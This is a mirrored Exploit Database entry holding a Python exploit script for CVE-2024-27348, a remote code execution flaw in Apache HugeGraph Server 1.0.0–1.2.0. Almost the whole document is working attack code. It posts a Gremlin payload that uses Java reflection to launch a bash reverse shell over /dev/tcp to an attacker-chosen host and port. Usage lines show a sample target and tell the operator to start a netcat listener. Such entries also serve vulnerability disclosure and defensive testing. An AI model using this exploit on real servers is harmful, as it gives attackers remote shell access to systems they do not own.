Apache HugeGraph Server 1.2.0 – Remote Code Execution (RCE)

Exploit Database
12 阅读

作者： Yesith Alvarez

日期： 2025-04-09
类别：
- webapps
平台：
- java
来源：https://www.exploit-db.com/exploits/52149/

# Exploit Title: Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE)

# Exploit Author: Yesith Alvarez

# Vendor Homepage: https://hugegraph.apache.org/docs/download/download/

# Version: Apache HugeGraph 1.0.0 - 1.2.0

# CVE : CVE-2024–27348

from requests import Request, Session

import sys

import json

def title():

print('''

______ _______ ____ ___ __________ _____ _____ _____

/ ___\ \ / / ____| |___ \ / _ \___ \| || ||___ \___|___ /| || |( _ )

| |\ \ / /|_| _____ __) | | | |__) | || |_ _____ __) | / /|_ \| || |_ / _ \

| |___\ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ / /___) |__ _| (_) |

\____|\_/|_____| |_____|\___/_____||_||_____/_/|____/ |_|\___/

[+] Reverse shell

Author: Yesith Alvarez

Github: https://github.com/yealvarez

Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/

Code improvements: https://github.com/yealvarez/CVE/blob/main/CVE-2024–27348/exploit.py

''')

def exploit(url, lhost, lport):

payload = {"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"VICARIUS\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"bash\", \"-c\", \"bash -i>&/dev/tcp/"+lhost+"/"+lport+"\", \"0>&1\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);", "bindings": {}, "language": "gremlin-groovy", "aliases": {}}

headers = {

'Content-Type': 'application/json'}

s = Session()

url = url + "/gremlin"

req = Request('POST', url, json=payload, headers=headers)

prepped = req.prepare()

del prepped.headers['Content-Type']

resp = s.send(prepped,

verify=False,

timeout=15)

print(prepped.headers)

print(url)

print(resp.headers)

print(payload)

print(resp.status_code)

print(resp.text)

if __name__ == '__main__':

title()

if(len(sys.argv) < 4):

print('[+] USAGE: python3 %s https://<target_url> lhost lport \n'%(sys.argv[0]))

print('[+] USAGE: python3 %s https://192.168.0.10 192.168.0.2 4444\n'%(sys.argv[0]))

print('[+] Do not forget to run the listener: nc -lvp 4444\n')

exit(0)

else:

exploit(sys.argv[1],sys.argv[2],sys.argv[3])